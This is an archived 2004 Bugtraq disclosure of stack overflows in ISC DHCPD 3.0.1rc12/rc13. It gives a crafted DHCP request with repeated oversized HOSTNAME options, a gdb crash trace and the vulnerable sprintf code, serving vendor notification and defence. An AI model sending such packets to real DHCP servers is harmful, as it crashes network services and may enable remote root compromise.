| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Date: Sun, 27 Jun 2004 22:23:53 -0700
From: Gregory Duchemin <c3rb3r@...patico.ca>
To: Solar Designer <solar@...nwall.com>
Cc: Tom Ferris <tferris@...e.com>, bugtraq@...urityfocus.com
Subject: ISC DHCP overflows
Hi,
for those interested to reproduce the recent DOS attacks against ISC
DHCPD 3.0.1 rc12 and rc13
as described in:
http://www.kb.cert.org/vuls/id/317350
, i'm forwarding the first email i sent to ISC describing several stack
based buffer overflows occuring during the creation
of log messages and triggered by sending several DHCP HOSTNAME options
within a single request.
This mail also includes a trace of such DHCP REQUEST.
Other .bss overflows related to vsnprintf and identified later during
our investigations as described in:
http://www.kb.cert.org/vuls/id/654390
can be triggered the exact same way.
Note that the home made tool i am referencing in this email will be made
available very soon and already includes ISC, INFOBLOX and DLINK dhcp
vulnerabilities
I will drop a note here when it is finally released.
cheers,
Gregory
Special thanks to Solar Designer and David W.Hankins (ISC)
--- Original email ------
Summary:
i have discovered several stack based overflow in your dhcp-3.0.1rc12
and rc13 (may be others, have not checked)
these vulnerabilities can be easily triggered by crafting a dhcp
discover or request packet which carries several hostname dhcp options that
,once reassembled by the daemon (as explained in rfc 3396), overflow a
stack based variable causing the daemon to crash.
I believe than one might execute code remotely on the server with the
same user account dhcpd is running with, root in most cases.
I have been able at some points during the tests, to control eip' 4
bytes (intel 32bits arch), it was during the ddns forward update operation.
Note that all tests have been made on a linux 2.4.20-24.9 using a home
made tool to generate custom dhcp traffic
Now an example:
see dhcpd.conf in attachment if you need it.
structure of an offending packet (case of a dhcp request based attack)
>> DHCP request
>> from 0.0.0.0:68 (ff:ff:ff:ff:ff:ff) to 255.255.255.255:67
(ff:ff:ff:ff:ff:ff)
>> op : BOOT REQUEST (1)
>> htype : Ethernet (10Mb) (1)
>> hlen : 6
>> hops : 0
>> xid : 0x00000000
>> secs : 1
>> flags : UNICAST (0x0000)
>> ciaddr : 0.0.0.0
>> yiaddr : 0.0.0.0
>> siaddr : 255.255.255.255
>> giaddr : 0.0.0.0
>> chaddr : ff:ff:ff:ff:ff:ff
>> sname :
>> file :
>> cookie : 0x63825363 (RFC 1497/2132, BOOTP Vendor informations/DHCP
options)
>> DHCP option (053 [0x35]) : MESSAGE_TYPE : REQUEST
>> BOOTP option (012 [0x0c]) : HOSTNAME :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>> BOOTP option (012 [0x0c]) : HOSTNAME :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>> BOOTP option (012 [0x0c]) : HOSTNAME :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>> BOOTP option (012 [0x0c]) : HOSTNAME :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>> BOOTP option (012 [0x0c]) : HOSTNAME :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>> BOOTP option (012 [0x0c]) : HOSTNAME :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>> BOOTP option (012 [0x0c]) : HOSTNAME :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>> DHCP option (050 [0x32]) : REQUEST_IP : 192.168.0.99
sending this packet to the ptraced daemon (within gdb) gives:
(gdb) run -f -d
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/sbin/dhcpd -f -d
Internet Software Consortium DHCP Server V3.0.1rc13
Copyright 1995-2003 Internet Software Consortium.
All rights reserved.
For info, please visit http://www.isc.org/products/DHCP
Wrote 0 deleted host decls to leases file.
Wrote 0 new dynamic host decls to leases file.
Wrote 0 leases to leases file.
Listening on LPF/eth0/00:0d:88:b5:95:0c/192.168.0.0/24
Sending on LPF/eth0/00:0d:88:b5:95:0c/192.168.0.0/24
Sending on Socket/fallback/fallback-net
Unable to add forward map from
bobAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-1022AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8
860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-8940X1.23931P-284AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-8940X1.23931P-2840X1.92E302E383631P-108AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-8940X1.23931P-2840X1.92E302E383631P-108NANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-8940X1.23931P-2840X1.92E302E383631P-108NAN0X1.1E4600811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-8940X1.23931P-2840X1.
92E302E383631P-108NAN0X1.1E4600811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0X1.1DEF80811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-8940X1.23931P-2840X1.92E302E383631P-108NAN0X1.1E4600811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0X1.1DEF80811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-0X1.FDE880811DEF8P+0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-8940X1.23931P-2840X1.92E302E383631P-108NAN0X1.1E4600811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0X1.1DEF80811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-0X1.FDE880811DEF8P+0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-0X1.FDE2008071205P+0A.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-8940X1.23931P-2840X1.92E302E383631P-108NAN0X1.1E4600811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0X1.1DEF80811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-0X
1.FDE880811DEF8P+0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-0X1.FDE2008071205P+0A.zob.com.0X1.
Program received signal SIGSEGV, Segmentation fault.
0x080add76 in hash_lookup (vp=0xbfffde24, table=0x38322d50,
name=0x8149dac "\001ÿÿÿÿÿÿ", len=7, file=0x80bbe25 "mdb.c", line=1662)
at hash.c:363
363 hashno = (*table -> do_hash) (name, len, table ->
hash_count);
(gdb)
backtracing stack show:
(gdb) bt
#0 0x080add76 in hash_lookup (vp=0xbfffde24, table=0x38322d50,
name=0x8149dac "\001ÿÿÿÿÿÿ", len=7, file=0x80bbe25 "mdb.c", line=1662)
at hash.c:363
#1 0x0806fb0a in lease_hash_lookup (ptr=0xbfffde24, table=0x38322d50,
buf=0x8149dac "\001ÿÿÿÿÿÿ", len=7, file=0x80bbe25 "mdb.c", line=1662)
at mdb.c:2055
#2 0x0806eb5b in find_lease_by_hw_addr (lp=0xbfffde24, hwaddr=0x8149dac
"\001ÿÿÿÿÿÿ", hwlen=7, file=0x80bbe25 "mdb.c", line=1662)
at mdb.c:1574
#3 0x0806ee5f in hw_hash_add (lease=0x8149d30) at mdb.c:1661
#4 0x0806d959 in supersede_lease (comp=0x8149d30, lease=0x811def8,
commit=1, propogate=1, pimmediate=1) at mdb.c:969
#5 0x08050cb9 in ack_lease (packet=0x811d6e0, lease=0x8149d30, offer=5,
when=0,
msg=0xbfffdfd0 "DHCPREQUEST for 192.168.0.99 from ff:ff:ff:ff:ff:ff
via eth0", ms_nulltp=0) at dhcp.c:2227
#6 0x0804d041 in dhcprequest (packet=0x811d6e0, ms_nulltp=0,
ip_lease=0x0) at dhcp.c:662
#7 0x0804c37d in dhcp (packet=0x811d6e0) at dhcp.c:224
#8 0x08088d9a in do_packet (interface=0x811d568, packet=0xbfffe580,
len=1430, from_port=17408, from=
{len = 4, iabuf = '\0' <repeats 15 times>}, hfrom=0xbffff5b0) at
options.c:2237
#9 0x08096718 in got_one (h=0x811d568) at discover.c:785
#10 0x080a937e in omapi_one_dispatch (wo=0x0, t=0x0) at dispatch.c:418
#11 0x0807cce3 in dispatch () at dispatch.c:103
#12 0x0804add1 in main (argc=3, argv=0xbffff904, envp=0xbffff914) at
dhcpd.c:614
#13 0x42015574 in __libc_start_main () from /lib/tls/libc.so.6
(gdb)
Note that the daemon may actually crash at a different location
depending of the first corrupted structure it meets and therefore,
of the size of the malicious option sent, along with the context (type
of packet, leases in use etc...)
Problems in the source:
I have spent quite some time to find out where the overflow actually
takes its roots, here are my findings:
file server/dhcp.c:
function dhcprequest :
char msgbuf [1024]; /* XXX */
char *s;
....
if (lease && lease -> client_hostname &&
db_printable (lease -> client_hostname))
s = lease -> client_hostname;
else
s = (char *)0;
......
sprintf (msgbuf, "DHCPREQUEST for %s%s from %s %s%s%svia %s",
piaddr (cip), smbuf,
(packet -> raw -> htype
? print_hw_addr (packet -> raw -> htype,
packet -> raw -> hlen,
packet -> raw -> chaddr)
: (lease
? print_hex_1 (lease -> uid_len, lease -> uid,
lease -> uid_len)
: "<no identifier>")),
s ? "(" : "", s ? s : "", s ? ") " : "",
packet -> raw -> giaddr.s_addr
? inet_ntoa (packet -> raw -> giaddr)
: packet -> interface -> name);
To summarize, s is referencing the reassembled hostname option passed to
the daemon, afterwhat it is used as is in sprintf and stored in msgbuf
(fixed size) without any length checking.
local msgbuf can obviously be overrun, corrupting various structures in
stack and eventually causing the server to crash
Note that the call to db_printable( ), filtering hostname, may render
the task harder to root a server but likely not impossible.
Also being able to corrupt structures like *lease or *oc may have
interesting side effects from an attacker perspective.
void dhcprequest (packet, ms_nulltp, ip_lease)
struct packet *packet;
int ms_nulltp;
struct lease *ip_lease;
{
struct lease *lease;
struct iaddr cip;
struct iaddr sip;
struct subnet *subnet;
int ours = 0;
struct option_cache *oc;
struct data_string data;
int status;
char msgbuf [1024]; /* XXX */
char *s;
char smbuf [19];
....
the very same problem is present in dhcpdiscover( ), dhcpdecline( ),
dhcprequest( ) , dhcprelease( ), ...
please look at the diff in unified format, attached to this email, for a
detailed list.
...
Powered by blists - more mailing lists